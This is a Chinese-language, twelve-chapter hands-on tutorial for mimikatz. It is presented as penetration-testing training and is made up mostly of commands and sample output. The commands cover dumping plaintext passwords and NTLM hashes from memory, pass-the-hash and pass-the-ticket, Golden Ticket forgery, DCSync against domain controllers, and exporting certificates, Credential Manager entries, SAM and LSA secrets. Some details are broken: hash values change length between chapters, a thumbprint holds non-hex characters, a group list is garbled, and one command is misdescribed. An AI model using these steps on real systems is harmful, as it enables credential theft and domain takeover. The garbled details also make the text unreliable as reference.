用 mimikatz 提取 Windows 密码与票据
mimikatz 是一款强大的 Windows 安全实验工具,可以提取内存中的密码、哈希和票据。本教程教你如何安装和使用 mimikatz 进行各种安全测试。
1. 安装 mimikatz 并获取二进制文件
本章要解决的问题是如何下载和安装 mimikatz 工具,并确保你可以顺利运行它来提取 Windows 密码和票据。读完这章后,你应该能够在你的系统上找到 mimikatz 的二进制文件,并能够启动它。
为了顺利完成本章的操作,你需要一台可以访问互联网的 Windows 计算机,并且具备管理员权限以便于安装必要的组件。
第一步操作是前往 mimikatz 的官方 GitHub 发布页面下载最新的二进制文件。打开浏览器,输入以下网址:
https://github.com/gentilkiwi/mimikatz/releases在这个页面上,你会看到一系列的发布版本。选择最新发布的版本,点击进入该版本详情页。在这里,你会看到多个文件供你下载。我们需要的是 mimikatz_trunk.zip 文件,请点击这个链接开始下载。
一旦下载完成,找到你保存 mimikatz_trunk.zip 文件的位置,右键点击它并选择“解压到当前文件夹”。这样会创建一个新的名为 mimikatz_trunk 的文件夹,里面包含了所有我们需要的文件。
接下来,双击进入刚刚解压出来的 mimikatz_trunk 文件夹,在这里你会看到几个子文件夹以及一些其他类型的文件。我们要找的是 x64 或者 x86 子文件夹,具体取决于你的操作系统架构。对于大多数现代计算机来说,默认使用 x64 版本即可。
打开 x64 文件夹(或者你选择的那个),你会看到两个主要的可执行文件:mimikatz.exe 和 mimilib.dll。这两个文件就是我们要使用的 mimikatz 工具的核心部分了。
现在我们来验证一下是否正确安装了 mimikatz。在资源管理器中右键点击空白区域,然后选择“在此处打开 PowerShell 窗口”(如果你没有这个选项也可以手动打开 PowerShell 并导航到该目录)。在 PowerShell 中输入以下命令来启动 mimikatz:
.\mimikatz.exe如果一切正常的话,你应该会看到类似如下的输出信息:
.#####. mimikatz 2.2.0 (git) built on Aug 18 2021 19:19:53
.## ^ ##
## / \ ##
## \ / ##
'## v ##'
'#####'
mimikatz #这意味着 mimikatz 成功启动并且等待着你的进一步指令。你现在可以在后面加上各种命令来进行不同的操作了。
一个小例子可以帮助我们更好地理解这些步骤的作用:假设你想在一个新电脑上设置好 mimikatz 来准备进行一些安全测试工作。首先你要做的就是按照上述步骤去下载和解压 mimikatz 的二进制包,并通过运行 .\mimikatz.exe 来确认工具已经准备好待命。
本章小结
- 我们成功地从 GitHub 下载了 mimikatz 的最新版本。
- 解压并定位到了正确的可执行文件所在位置。
- 启动了 mimikatz 并看到了它的欢迎界面。
- 验证了工具已经可以正常使用。
完成后你已经得到了一个可以运行的 mimikatz 工具实例,并为后续的学习和实践打下了坚实的基础。
2. 理解 mimikatz 基本命令与操作环境
本章要解决的问题是如何熟悉 mimikatz 的基本命令和操作环境。通过学习本章,你将能够熟练使用 mimikatz 的一些核心功能,并能够在实际操作中灵活运用这些命令。
在开始之前,请确保你已经在系统中正确安装并启动了 mimikatz。你应该已经可以通过运行 .\mimikatz.exe 并看到欢迎界面来验证这一点。
第一步操作是获取管理员权限。这是因为很多 mimikatz 的高级功能都需要访问系统的敏感信息,而普通用户权限无法满足这个需求。
privilege::debug预期的结果是你应该会看到类似这样的输出:
Privilege '20' OK这表示你已经成功获得了调试权限,这也是使用 mimikatz 进行许多操作的前提条件。
接下来我们要尝试查看当前系统中的所有登录凭据。我们可以使用 sekurlsa::logonpasswords 命令来实现这一点。
sekurlsa::logonpasswords这个命令会列出当前系统中所有已登录用户的详细信息,包括用户名、域、SID以及各种类型的密码哈希值等。请注意,在实际环境中使用此命令可能会显示敏感数据,请谨慎处理这些信息。
如果你遇到错误提示“ERROR kuhl_m_sekurlsa_acquireLSA()”,可能是因为你没有足够的权限或者 mimikatz 版本不兼容等问题。请确保你已经按照前面的步骤正确获取了调试权限,并且使用的是最新版本的 mimikatz。
一个小例子可以帮助我们更好地理解这些步骤的作用:假设你在一台测试机器上安装好了 mimikatz,并希望检查一下当前有哪些用户已经登录到该机器上及其相关信息。你可以按照上述步骤先获取调试权限,然后运行 sekurlsa::logonpasswords 命令来查看详细的登录凭证信息。
本章小结
- 学习了如何在 mimikatz 中获取管理员级别的调试权限。
- 掌握了如何使用
sekurlsa::logonpasswords命令来查看系统中的登录凭据。 - 注意了一些常见的错误及排查方法。
- 通过一个简单的例子加深对基本命令的理解和应用能力。
完成后你已经得到了对 mimikatz 基本命令和操作环境的良好掌握,并为进一步学习更复杂的操作奠定了基础。
3. 提取内存中的明文密码和哈希
我们要从内存中提取用户的明文密码和哈希值,这可以帮助我们在某些情况下绕过身份验证。完成本章后,你将能够使用 mimikatz 成功提取这些敏感信息。
在开始之前,请确保你已经按照上一章的步骤安装了 mimikatz,并且有一个可以执行管理员任务的账户。
首先,我们需要启动 mimikatz 并赋予它足够的权限来访问系统内存:
mimikatz.exe
privilege::debug预期结果是在 mimikatz 中看到类似“Privilege ‘20’ OK”的消息,这意味着 mimikatz 已经获得了调试权限,可以继续下一步操作。
接下来,我们使用 sekurlsa::logonpasswords 命令来提取当前登录会话中的明文密码和哈希值:
sekurlsa::logonpasswords这个命令会在屏幕上列出所有已登录用户的详细信息,包括用户名、域名、LM 和 NTLM 哈希以及可能存在的明文密码。例如:
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Interactive from 1
User Name : user1
Domain : example.com
SID : S-1-5-21-123456789-987654321-1122334455-1001
msv :
[00000003] Primary
* Username : user1
* Domain : example.com
* NTLM : ecdffcdf8acf83dfac68eabfdfebdffd
tspkg :
* Username : user1
* Domain : example.com
* Password : password123
Authentication Id : 0 ; 998 (00000000:000003e6)
Session : Interactive from 2
User Name : admin
Domain : example.com
SID : S-1-5-21-123456789-987654321-1122334455-503
msv :
[0x 4c] LogonServer
|__SuppCredsCount 2 ; Credentials in SSPI cache for this logon session.
| [CredentialKey]
| [* Primary ]
| DefaultPassword waza1234/在这个例子中,我们可以看到两个用户的信息。第一个用户 user1 只有 NTLM 哈希值而没有明文密码;第二个用户 admin 则同时显示了明文密码 waza1234/ 和 NTLM 哈希值。
需要注意的是,在实际操作过程中可能会遇到一些错误提示。最常见的问题是权限不足,确保你在执行上述命令前已经成功赋予了 mimikatz 调试权限。如果仍然出现问题,请检查你的操作系统是否支持这些功能,并确认你正在使用的 mimikatz 版本是最新的。
此外,在处理这些敏感数据时务必小心谨慎,遵守相关的法律法规和道德规范。
本章小结
- 启动 mimikatz 并获得调试权限。
- 使用
sekurlsa::logonpasswords命令提取内存中的明文密码和哈希值。 - 注意权限问题和其他潜在的错误提示。
- 小心处理提取到的敏感信息。
4. 导出 Kerberos 票据并进行 Pass-The-Ticket 攻击
我们要做的任务是从当前用户的会话中导出 Kerberos 票据,并使用这些票据进行 Pass-The-Ticket 攻击。完成这一步后,你就能利用已有的 Kerberos 票据模拟合法用户访问受保护的服务。
首先,确保你已经在上一章成功启动了 mimikatz 并获得了调试权限。如果没有的话,请回到上一章重新操作一遍。
我们先来列出当前系统中存在的所有 Kerberos 票据:
kerberos::list这个命令会显示所有可用的 Kerberos 票据列表。你会看到类似下面这样的输出:
ServiceName : krbtgt/vm-w7-ult-x.vm-w7-ult-x
TargetName : VM-W7-ULT-X.VM-W7-ULT-X
ClientName : Gentil Kiwi @ VM-W7-ULT-X.VM-W7-ULT-X
AltName :
EndTime : 2/13/2023 8:16:54 AM
StartTime : 2/12/2023 8:16:54 AM
RenewUntil : 2/19/2023 8:16:54 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable, forwarded
KeyType : rc4_hmac_nt
BaseKey : fdf8:f53e:61e4::18:a9:d9:e6:b9:c0:bf:e6:bb:b3:f4:a0:cd
Ticket : - omitted here -
CertifThumbprint :接下来,我们需要导出其中一个票据以便后续使用。假设我们要导出上面列出的第一个票据,可以使用以下命令:
kerberos::list /export执行后,mimikatz 会在当前目录下生成一个 .kirbi 文件。例如 krbtgt_vm-w7-ult-x.vm-w7-ult-x@VM-W7-ULT-X.VM-W7-ULT-X.kirbi。
最后一步是使用刚刚导出的票据进行 Pass-The-Ticket 攻击。这里我们以刚才生成的 .kirbi 文件为例:
kerberos::ptt krbtgt_vm-w7-ult-x.vm-w7-ult-x@VM-W7-ULT-X.VM-W7-ULT-X.kirbi执行该命令后,你应该不会看到任何错误信息,并且 mimikatz 会提示你已经成功加载了指定的 Kerberos 票据。
为了验证是否真的可以通过这张票证访问资源,你可以尝试连接到其他服务或者机器。比如打开 PowerShell 并尝试通过 Enter-PSSession 连接到另一台服务器。
如果你遇到权限不足或其他错误,请确保你之前正确地获得了调试权限,并且所使用的 mimikatz 是最新版本。
本章小结
- 使用
kerberos::list查看当前系统中的 Kerberos 票据。 - 使用
kerberos::list /export导出所需的 Kerberos 票据。 - 使用
kerberos::ptt <filename>.kirbi加载并使用导出的票据。 - 验证加载后的票据是否能用于访问受保护的服务或资源。
5. 构建 Golden Tickets 实现无密码登录
我们要构建一个 Golden Ticket 来实现无密码登录。完成这一步后,你将能够模拟任何用户的身份访问域内的资源,而无需知道他们的实际密码。
在此之前,你需要确保已经安装了 mimikatz,并且拥有足够的权限来执行这些高级操作。具体来说,你需要有管理员权限并且已经启用了调试特权。
第一步:启用调试权限
首先,我们需要启用调试权限以便 mimikatz 能够访问系统的敏感信息。
privilege::debug执行这个命令后,你会看到类似以下的输出:
Privilege '20' OK这意味着你已经成功启用了调试权限。
第二步:提取域控制器的信息
接下来,我们需要从域控制器中提取一些必要的信息来构建 Golden Ticket。主要的信息包括域名、SID(安全标识符)、KRBTGT 的哈希值以及目标用户的 SID。
我们可以使用 lsadump::lsa /inject /name:krbtgt 命令来提取 KRBTGT 的哈希值。假设你的域名为 vm-w7-ult-x,那么命令如下:
lsadump::lsa /inject /name:krbtgt执行后,你会看到类似如下的输出:
RID : 502
User : krbtgt
LM :
NTLM : cc36cf7a8514893efccd332446158b1a
SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
* Primary
* Default
NTLM : cc36cf7a8514893efccd332446158b1a
SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30记下这里的 NTLM 哈希值 cc36cf7a8514893efccd332446158b1a。
同时,我们也需要获取域的 SID。可以使用 whoami /user 命令查看当前用户的 SID,并从中推断出域的 SID。例如:
whoami /user输出可能类似于:
USER INFORMATION FOR \\VM-W7-ULT-X\GENTILKIWI:
User Name SID
============================ ============================================
vm-w7-ult-x\gentilkiwi S-1-5-21-1982681256-1210654043-1600862990-1000这里的域 SID 是 S-1-5-21-1982681256-1210654043-1600862990。
第三步:构建 Golden Ticket
现在我们有了所有必要的信息,可以开始构建 Golden Ticket 了。假设我们要模拟的用户名为 administrator,其 RID(相对标识符)通常是 500。我们可以使用以下命令来创建 Golden Ticket:
kerberos::golden /domain:vm-w7-ult-x.local /sid:S-1-5-21-1982681256-1210654043-1600862990 /rc4:cc36cf7a8514893efccd332446158b1a /user:administrator /id:500 /groups:512,544,547,548,553,572,builtinadministrators,domainadmins,domainusers,domainlocalgroupmemberships,distributedcomputationprincipalsenterpriseadmins,schemaadmins 这个命令包含了以下几个关键部分:
/domain: 目标域名。/sid: 域的 SID。/rc4: KRBTGT 的 NTLM 哈希值。/user: 想要模拟的用户名。/id: 用户的 RID。/groups: 用户所属的安全组列表(这里是常见的内置组)。
如果一切顺利的话,你会看到类似如下的输出:
User : administrator
Domain : VM-W7-Ult-X.LOCAL (VM-W7-Ult-X)
Sid : S-1-5-21-[...]-[...]-[...]-[...]
Target : VM-W7-Ult-X.LOCAL (VM-W7-Ult-X)
Created : [...]
Expires : [...]
Flags :
ServiceKey:
aad...
Ticket -> ticket.kirbi created !
Credential -> cred.pfx created ! (with password '[...]')
Object -> object.kirbi created !
* PAC generated with user claims :
- Restricted Administrators Group ID
Final ticket is :
[...]
Do you want me to inject this ticket in your current session ? (r/R)estore or (i/I)nject ? i/i/r/r 选择注入该票据到当前会话中(输入 i 或者 I)。
第四步:验证 Golden Ticket 是否生效
为了验证我们的 Golden Ticket 是否生效,我们可以尝试访问一些受限资源或者执行某些需要高权限的操作。例如,你可以尝试通过 PowerShell 连接到另一台服务器:
Enter-PSSession -ComputerName AnotherServerName -Authentication NegotiateWithImplicitCredential 如果没有错误发生,并且你能成功连接到目标服务器,则说明你的 Golden Ticket 已经成功起效。
注意事项和常见问题排查:
权限不足:
确保你在执行上述命令前已经启用了调试权限 (privilege::debug)。
错误的参数:
仔细检查每个参数是否正确填写,特别是域名、SID 和 KRBTGT 的哈希值。
时间不同步:
Kerberos 协议对时间非常敏感。确保你的系统时间和域控制器的时间保持同步。
不支持的功能:
某些情况下可能会遇到不支持的功能或限制,请查阅 mimikatz 的官方文档以获取更多信息。
小例子:
假设我们在一个公司内部网络中工作,并且已经获得了足够的权限来执行这些操作。我们想要模拟公司的管理员账户 admin_user 来访问财务部门的重要数据存储服务器。首先我们按照上述步骤提取了相关信息并构建了一个针对该用户的 Golden Ticket。然后通过注入该票据到当前会话中,并成功连接到了财务部门的数据存储服务器进行数据备份操作。
本章小结 在本章中我们学习了如何使用 mimikatz 构建 Golden Tickets 实现无密码登录。具体步骤包括:
- 启用调试权限以获得必要的系统访问权;
- 提取域控制器的相关信息如 KRBTGT 的哈希值和域 SID;
- 使用这些信息构造并注入一个伪造的有效 Kerberos 票据; 最后验证该票据是否能帮助我们成功访问受限资源和服务。
6. 使用 mimikatz 操作证书和私钥
本章要解决的是如何使用 mimikatz 来操作证书和私钥,这样你就能更好地管理和利用这些安全凭证来进行各种高级操作。完成本章后,你应该能够提取、列出和导出系统中的证书及其对应的私钥。
前置条件
- 你需要已经安装了 mimikatz 并熟悉基本的操作环境。
- 确保你有足够的权限来访问系统的证书存储区(通常需要管理员权限)。
- 已经启用了调试权限 (
privilege::debug)。
第一步操作:启用调试权限
首先,我们需要启用调试权限以便 mimikatz 能够访问系统中的敏感信息。
privilege::debug预期结果:你会看到类似 Privilege '20' OK 的消息,表示调试权限已成功启用。
第二步:列出所有证书
接下来,我们列出系统中存在的所有证书。这有助于我们找到感兴趣的证书及其详细信息。
crypto::certificates /export预期结果:mimikatz 会列出所有可访问的证书,并提供它们的指纹和其他基本信息。如果没有任何输出,请确保你有适当的权限并且正在正确的上下文中运行 mimikatz。
第三步:导出特定证书及其私钥
假设我们找到了一个名为 MyCertificate 的证书,并且它的指纹为 abcdef1234567890abcdef1234567890abcdef12。我们现在尝试导出这个证书及其私钥。
crypto::capi /export /sha1:abcdef1234567890abcdef1234567890abcdef12 /file:C:\path\to\save\certificate.pfx /password:mypassword预期结果:指定路径下会生成一个 .pfx 文件,其中包含了证书和私钥。你可以使用提供的密码来打开这个文件。
注意事项和常见问题排查:
- 找不到指定的指纹:请再次确认你要导出的证书指纹是否正确输入。
- 没有足够的权限:确保你在具有足够权限的情况下运行 mimikatz。
- 错误的文件路径:检查你指定的保存路径是否存在并且可以写入文件。
小例子:
假设我们在一家企业的内网中工作,并且已经获得了足够的权限来执行这些操作。我们发现了一个用于内部通信的安全证书 InternalComCert,其指纹为 1a2b3c4d5e6f7g8h9i0jklmnopqrstuvwxyz。为了进一步研究该证书的行为以及可能存在的漏洞,我们需要将其导出并分析其私钥部分。于是我们按照上述步骤启用了调试权限,列出了所有的证书,并最终成功地将 InternalComCert 及其私钥导出了出来。
本章小结 在本章中我们学习了如何使用 mimikatz 操作证书和私钥:
- 启用调试权限以获得必要的系统访问权;
- 列出现有的所有证书及其详细信息;
- 导出特定的证书及相应的私钥到指定位置; 最后通过一个小例子展示了如何在实际场景中运用这些知识。
7. 访问 Windows 凭据管理器中的敏感信息
本章要解决的问题是如何使用 mimikatz 访问 Windows 凭据管理器中的敏感信息。通过学习本章的内容,你将能够提取存储在凭据管理器中的用户名和密码。
在开始之前,请确保你已经完成了以下准备工作:
- 已经安装了 mimikatz 并且可以正常运行。
- 你的账户具有足够的权限来访问系统中的敏感信息。
我们先打开 mimikatz 控制台,并启用调试特权,这一步是必要的,因为许多高级功能都需要这个权限才能执行。
mimikatz # privilege::debug
Privilege '20' OK接着,我们需要列出所有存储在 Windows 凭据管理器中的凭证。为此,我们可以使用 vault::cred 命令:
mimikatz # vault::cred这条命令会显示当前用户的所有凭据条目及其详细信息。每个条目通常包括用户名、域名和密码等敏感数据。
如果你遇到错误提示类似于 "Vault is not initialized" 或者 "No credentials found",这可能是因为当前用户没有存储任何凭据或者你需要切换到其他有权限的用户账户下运行 mimikatz。
为了更好地理解这些凭据的具体用途,你可以进一步查看它们的列表形式:
mimikatz # vault::list这条命令会提供一个更详细的视图,帮助你识别哪些应用程序或服务关联到了这些凭据。
举个实际的例子来说,假设你在一台开发机器上工作,并且经常使用 Git 来访问远程仓库。每次连接时都输入用户名和密码可能会很麻烦。Windows 可能会在第一次成功认证后将这些信息保存到凭据管理器中以便后续自动登录。通过上述命令,你可以看到并提取出这些保存的凭证信息。
本章小结
- 启用了 mimikatz 的调试特权。
- 使用
vault::cred和vault::list命令列出了 Windows 凭据管理器中的所有敏感信息。 - 学习了如何处理常见的错误提示以及检查不同用户的凭据。
8. 执行本地安全机构转储以获取 SAM 和机密信息
执行本地安全机构转储以获取 SAM 和机密信息。完成本章后,你将能够从本地安全机构(LSA)中提取系统账户管理器(SAM)数据库和机密信息。
在开始之前,请确保你已经在上一章中成功启用了 mimikatz 的调试特权,并且可以正常运行 mimikatz 命令。此外,建议你具有管理员权限来执行某些高级操作。
首先,我们需要启用调试特权,这是大多数 mimikatz 操作的前提条件:
mimikatz # privilege::debug预期结果是看到类似 Privilege '20' OK 的消息,表示调试特权已成功启用。
接下来,我们要使用 lsadump::sam 命令来转储 SAM 数据库的内容。这个命令可以直接从 LSA 中提取出所有用户的密码哈希值以及其他相关信息:
mimikatz # lsadump::sam预期的结果是一个包含多个用户账户及其对应的 NTLM 哈希值的列表。例如:
RID : 000001f4 (500)
User : Administrator
LM :
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0请注意,上述 NTLM 哈希值对应的是空密码。真实的用户哈希值将会有所不同。
如果你想获取更多的系统机密信息,比如启动密钥、LSPROvider 密钥等,可以使用 lsadump::secrets 命令:
mimikatz # lsadump::secrets该命令会列出各种类型的机密信息,如 DPAPI 主密钥、WLAN 密码、服务主密码等。这些信息对于进一步的安全分析和渗透测试非常有用。
最后,如果你想要获取缓存的日志on凭据信息,可以使用 lsadump::cache 命令:
mimikatz # lsadump::cache这个命令会显示最近登录用户的缓存凭据信息,包括用户名和相应的 NTLM 哈希值。
举个实际的例子来说,在一次内部网络渗透测试中,你已经获得了对目标主机的管理员访问权限。为了进一步收集有价值的信息并评估潜在的风险点,你可以利用 mimikatz 转储 SAM 数据库和其他机密数据。通过这种方式,你可以发现那些被弱口令保护的服务账户或普通用户账户,并针对这些弱点制定下一步行动计划。
本章小结
- 启用了 mimikatz 的调试特权。
- 使用
lsadump::sam命令转储了 SAM 数据库中的用户密码哈希。 - 使用
lsadump::secrets获取了系统的各种机密信息。 - 学习了如何通过
lsadump::cache查看缓存的日志on凭据信息。
9. 利用 mimikatz 进行域控制器同步攻击
我们现在要解决的问题是如何利用 mimikatz 对域控制器进行同步攻击。通过这种方法,我们可以提取到域控制器上的敏感信息,并利用这些信息进行进一步的渗透测试。完成这章后,你将能够理解并执行域控制器同步攻击的基本流程。
首先,确保你已经安装了 mimikatz 并且拥有足够的权限来执行高级操作。你需要具备管理员权限,并且已经启用了调试特权。
第一步:启用调试特权
我们需要启用 mimikatz 的调试特权以便于后续的操作。打开 mimikatz 控制台并输入以下命令:
mimikatz # privilege::debug预期的结果是看到类似 Privilege '20' OK 的消息。
第二步:连接到目标域控制器
假设你已经知道目标域控制器的名称或者 IP 地址。使用 sekurlsa::pth 或者其他方法获取一个具有足够权限的 TGT(Ticket Granting Ticket)。这里我们演示一下如何使用 sekurlsa::pth 来模拟一个已有的 TGT。
mimikatz # sekurlsa::pth /user:Administrator /domain:targetdomain.local /ntlm:<NTLM_HASH> /run:"cmd.exe"在这个命令中,替换 <NTLM_HASH> 为你从其他地方获得的实际 NTLM 哈希值。这个命令会在一个新的 cmd 进程中运行,并且这个进程会有 Administrator 用户的权限。
第三步:执行 DCSync 攻击
一旦我们有了足够的权限,就可以开始执行 DCSync 攻击了。DCSync 是一种技术,允许攻击者从任何域控复制另一个域控的数据,而不需要物理访问或控制目标 DC。在 mimikatz 中,我们可以通过 lsadump::dcsync 命令来实现这一点。
mimikatz # lsadump::dcsync /user:krbtgt /domain:targetdomain.local这个命令将会请求并下载 krbtgt 账户的哈希值。你可以根据需要更改 /user: 参数来获取不同账户的信息。
注意事项:
- 如果你在执行过程中遇到
STATUS_ACCESS_DENIED错误,请确认你的账户是否具有适当的权限。 - 确保目标域名正确无误。
- 在某些情况下,防火墙或安全软件可能会阻止 mimikatz 发送必要的请求,请检查相关设置。
示例场景
假设你在一次渗透测试中已经成功入侵了一个普通的工作站,并且找到了一个具有足够权限的用户凭证。你可以按照上述步骤启用调试特权、模拟该用户的 TGT 并最终执行 DCSync 攻击以获取更多有价值的域内信息。
本章小结
- 启用了 mimikatz 的调试特权。
- 使用
sekurlsa::pth模拟了一个具有足够权限的 TGT。 - 执行了
lsadump::dcsync命令来同步域控制器上的用户哈希值。 - 注意了一些常见的错误及其解决办法。
10. 模拟高权限令牌提升权限
我们要利用 mimikatz 来模拟高权限令牌,从而提升当前会话的权限。完成这一步后,你将能够使用普通用户账户获得管理员级别的访问权限。
在开始之前,请确保你已经安装了 mimikatz,并且有一个可以使用的命令提示符窗口。此外,你需要有足够的权限来执行这些操作,通常这意味着你需要以管理员身份运行 mimikatz 或者拥有某个用户的凭据。
首先,我们需要启用调试特权。这是因为很多高级功能需要更高的系统权限才能正常工作。
mimikatz # privilege::debug预期结果:你会看到类似 Privilege '20' OK 的消息,表示调试特权已成功启用。
接下来,我们要列出当前系统中的所有登录会话。这有助于我们找到一个合适的用户令牌来进行模拟。
mimikatz # sekurlsa::logonpasswords预期结果:mimikatz 将显示一系列登录会话的详细信息,包括用户名、域和 SID 等。注意记录下你想用来提升权限的目标用户的 Authentication ID(通常是两个数字组成的字符串)。
现在我们可以使用 sekurlsa::pth 命令来创建一个新的进程,并使用指定用户的令牌来运行它。假设你要模拟的是 Administrator 用户,并且你知道他的 NTLM 哈希值为 cc36cf7a8514893efccd3324461abfc03e9a8c30。
mimikatz # sekurlsa::pth /user:Administrator /domain:yourdomain.local /ntlm:cc36cf7a8514893efccd3324461abfc03e9a8c30 /run:cmd.exe预期结果:如果一切顺利,你应该会看到一个新的命令提示符窗口弹出,并且该窗口将以 Administrator 权限运行。你可以通过输入 whoami 来验证当前的用户身份是否已经被提升到管理员级别。
如果你遇到 STATUS_ACCESS_DENIED 错误,请确保你已经在 mimikatz 中启用了调试特权,并且你提供的 NTLM 哈希值是正确的。有时候防火墙或安全软件也会干扰这些操作,请检查相关的安全设置。
示例场景
想象一下,在一次内部测试中,你发现了一个普通的员工账户凭证,并且想看看能否利用这个账户进一步提升权限以便进行更多的测试活动。你可以先使用 mimikatz 提取该账户的 NTLM 哈希值(如前几章所示),然后按照上述步骤模拟 Administrator 用户并打开一个新命令提示符窗口。这样你就能够在无需知道实际密码的情况下获得更高层次的访问权限了。
本章小结
- 启用了 mimikatz 的调试特权。
- 使用
sekurlsa::logonpasswords查看了系统中的登录会话。 - 通过
sekurlsa::pth创建了一个新的进程并模拟了高权限用户。 - 学习了如何处理可能遇到的一些常见错误及排查方法。
11. 处理 mimikatz 输出结果与日志分析
本章要解决的问题是如何处理和分析 mimikatz 输出的结果,以便从中提取有价值的信息。读完这章后,你应该能够理解如何解读 mimikatz 的输出,并根据这些信息采取下一步行动。
前置条件:你需要已经安装好 mimikatz 并能成功运行基本命令,比如 privilege::debug 和 sekurlsa::logonpasswords。
第一步操作:我们先来运行一个常见的命令 sekurlsa::logonpasswords 来查看系统中的登录会话信息。
sekurlsa::logonpasswords预期结果:你会看到类似以下的输出:
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session : Interactive from 2
User Name : Gentil Kiwi
Domain : vm-w7-ult-x
SID : S-1-5-21-1982681256-1210654043-1600862990-1000
msv :
[00000003] Primary
* Username : Gentil Kiwi
* Domain : vm-w7-ult-x
* LM : d0e9aee149655a6075e4540af1f22d3b
* NTLM : cc36cf7a8514893efccd3324461abfc03e9a8c30
* SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
tspkg :
* Username : Gentil Kiwi
* Domain : vm-w7-ult-x
* Password : waza1234/
...第二步操作:我们需要学习如何解读这些信息。首先来看用户名和域信息,它们可以帮助你确定哪些账户正在被使用。接着看密码字段,这里可能会显示明文密码(如上面的 waza1234/),也可能是各种形式的哈希值(如 NTLM 或 SHA1)。
第三步操作:假设我们在输出中找到了一些有用的哈希值,我们可以尝试使用这些哈希值进行 pass-the-hash 攻击。例如,如果我们找到了一个管理员账户的 NTLM 哈希值 cc36cf7a8514893efccd3324461abfc03e9a8c30,我们可以用它来创建一个新的进程并模拟该管理员用户。
sekurlsa::pth /user:Administrator /domain:vm-w7-ult-x /ntlm:cc36cf7a8514893efccd3324461abfc03e9a8c30 /run:cmd.exe预期结果:如果一切顺利,你应该会看到一个新的命令提示符窗口弹出,并且该窗口将以 Administrator 权限运行。
第四步操作:最后,我们要学会记录和保存 mimikatz 的输出结果。你可以通过重定向输出到文件来实现这一点。
sekurlsa::logonpasswords > logon_passwords.txt这样可以方便你在后续分析时随时查阅这些数据。
如果你遇到 ERROR kuhl_m_sekurlsa_acquireLSA() 错误,请确保你已经在 mimikatz 中启用了调试特权。可以通过以下命令启用:
privilege::debug示例场景
想象一下,在一次渗透测试中,你成功地从目标系统的内存中提取了一些用户的凭据信息。其中包含了一个管理员账户的 NTLM 哈希值。你可以使用这个哈希值来进行 pass-the-hash 攻击,从而获得更高的权限以便执行更多高级别的操作。首先,你需要确认你的 mimikatz 已经有足够的权限来执行此类操作:
privilege::debug然后你可以运行以下命令来尝试模拟管理员用户:
sekurlsa::pth /user:Administrator /domain:target-domain /ntlm:aabbccddeeffgghhiijjkkllmmnnoopp /run:cmd.exe如果一切顺利的话,你会得到一个以 Administrator 身份运行的新命令提示符窗口。
本章小结
- 学习了如何解读 mimikatz 的输出结果。
- 掌握了如何从输出中提取有用的信息。
- 理解了如何使用提取到的哈希值进行 pass-the-hash 攻击。
- 学会了如何记录和保存 mimikatz 的输出结果以便后续分析。
12. 在真实环境中应用 mimikatz 进行渗透测试
在真实环境中应用 mimikatz 进行渗透测试意味着我们需要将之前学习的所有技能结合起来,实际操作一个目标系统。这不仅考验我们的技术能力,还要求我们对整个过程有清晰的理解和规划。通过本章的学习,你将能够在受控环境下模拟真实的渗透测试流程,并理解每个步骤的重要性。
前置条件
- 你已经安装了 mimikatz 并且知道如何启动它。
- 你知道如何启用调试特权 (
privilege::debug)。 - 你有一个可以用来练习的虚拟机环境(如 VMware 或 VirtualBox),并且在这个环境中拥有管理员权限。
- 目标机器已经加入了一个域(如果有条件的话),这样我们可以进一步练习与域相关的攻击技术。
第一步:准备测试环境
为了确保我们的实验不会影响生产环境,我们将在一个隔离的虚拟机中进行所有操作。假设你已经有了这样一个虚拟机,并且里面安装了 Windows 操作系统以及必要的服务(比如 Active Directory 如果你想模拟域内攻击)。
第二步:启动 mimikatz 并获取调试特权
打开你的虚拟机,找到并启动 mimikatz。首先要做的是启用调试特权,因为很多敏感信息只能由具有此特权的进程访问。
privilege::debug预期结果:你应该看到类似 Privilege '20' OK 的消息,表明调试特权已成功启用。
第三步:提取内存中的明文密码和哈希
接下来我们要从内存中提取用户的明文密码或哈希值。这里我们使用 sekurlsa::logonpasswords 命令来完成这项工作。
sekurlsa::logonpasswords预期结果:mimikatz 将列出当前登录用户的各种认证信息,包括用户名、域名、NTLM 哈希等。请注意保护这些信息的安全性!
第四步:导出 Kerberos 票据并进行 Pass-The-Ticket 攻击
如果我们提取到了 Kerberos 票据,就可以利用它们来进行 Pass-The-Ticket 攻击。这里以导出票据为例:
sekurlsa::tickets /export预期结果:你会在当前目录下看到 .kirbi 文件,这就是导出的 Kerberos 票据。
接着我们用这些票据进行 Pass-The-Ticket 攻击:
kerberos::ptt <filename>.kirbi预期结果:如果一切顺利,你应该能够成功注入该票据,并且可以用它来访问其他资源而无需提供凭证。
第五步:构建 Golden Ticket 实现无密码登录
Golden Ticket 是一种高级技术,允许我们在没有有效凭据的情况下生成有效的 Kerberos 票据。首先我们需要获取 krbtgt 用户的 NTLM 哈希值:
lsadump::lsa /inject /name:krbtgt /sid:<DOMAIN_SID> /rc4:<KRBTGT_NTLM_HASH>预期结果:这条命令会在内存中创建一个新的 LSASS 进程,并注入指定的 krbtgt NTLM 哈希值。
接下来我们可以基于这个哈希值生成 Golden Ticket:
kerberos::golden /user:Administrator /domain:<DOMAIN_NAME> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_NTLM_HASH> /id:500 /groups:513,512,520,518,519,522 +ticket administrator.kirbi +pfx administrator.pfx password=Passw0rd!预期结果:你会得到两个文件 —— administrator.kirbi 和 administrator.pfx —— 它们分别是 Golden Ticket 和 PFX 文件。
最后使用这个 Golden Ticket 登录到目标系统:
kerberos::ptt administrator.kirbi
runas /netonly /user:Administrator@<DOMAIN_NAME> cmd.exe 预期结果:你应该能够成功以 Administrator 身份运行新的命令提示符窗口,并且可以在网络级别上冒充该用户身份进行操作。
示例场景
假设你在一家公司的内部网络中获得了初始访问权限,并发现了一台连接到域控制器的工作站。通过上述步骤,你可以逐步提升自己的权限直到完全控制整个域环境。例如,在第一步中提取了某个普通员工的 NTLM 哈希后;第二步利用这个哈希进行了 pass-the-hash 攻击;第三步进一步获取了更高权限用户的 Kerberos 票据;第四步甚至构造出了 Golden Ticket 来实现无密码登录……
本章小结
- 学习了如何在一个受控的虚拟机环境中完整地执行一次渗透测试。
- 掌握了如何结合多个 mimikatz 功能来达到不同的攻击目的。
